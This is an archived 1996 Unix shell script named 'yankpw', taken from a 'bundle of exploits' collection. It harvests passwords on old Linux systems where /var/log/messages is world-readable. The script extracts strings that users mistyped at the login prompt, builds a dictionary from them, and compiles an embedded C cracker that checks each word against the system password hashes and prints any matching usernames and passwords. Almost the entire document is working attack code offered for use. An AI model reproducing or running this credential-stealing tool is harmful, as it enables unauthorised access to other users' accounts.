home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / messages.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  1998-07-17  |  2KB  |  73 lines

  1. #!/bin/sh
  2. #
  3. # yankpw
  4. #
  5. # Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
  6. # /var/log/messages is world readable. If a user types in his password at
  7. # the login prompt, it may get logged to /var/log/messages.
  8. #
  9. # I could swear this topic has been beaten to death, but I still see this
  10. # problem on every linux box I have access to.
  11. #
  12. # Dave G.
  13. # 12/06/96
  14. # <daveg@escape.com>
  15. # http://www.escape.com/~daveg
  16.  
  17. echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$
  18.  
  19. grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$
  20.  
  21. if [ ! -e ./scrack ]
  22. then
  23.    echo "Creating scrack.c"
  24.    cat << ! > scrack.c
  25. #include <stdio.h>
  26. #include <unistd.h>
  27. #include <pwd.h>
  28. #include <sys/types.h>
  29. #define get_salt( d, s ) strncpy( d, s, 2 )
  30. void
  31. main(argc,argv)
  32. int argc;
  33. char **argv;
  34. {
  35.    struct passwd *pwd;
  36.    FILE *fp;
  37.    char buff[80], salt[3], *encrypted_string;
  38.  
  39.    if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
  40.    {
  41.       fprintf( stderr, "Couldnt find dict file\n" );
  42.       exit(1);
  43.    }
  44.    while ( fgets( buff, 80, fp ) != NULL )
  45.    {
  46.       setpwent();
  47.       buff[strlen(buff)-1]='\0';
  48.       while ( ( pwd = getpwent() ) != NULL )
  49.       {
  50.         if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
  51.            ( strlen( (*pwd).pw_passwd ) == 13 ) )
  52.         {
  53.            get_salt(salt, (*pwd).pw_passwd );
  54.  
  55.            encrypted_string = crypt( buff, salt );
  56.            if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
  57.            {
  58.              fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
  59.              fflush(stdout);
  60.            }
  61.          }
  62.       }
  63.    }
  64. }
  65. !
  66.    echo "Creating scrack"
  67.    cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
  68. fi
  69.  
  70. ./scrack /tmp/messages.dict.$$
  71.  
  72. echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.
  73.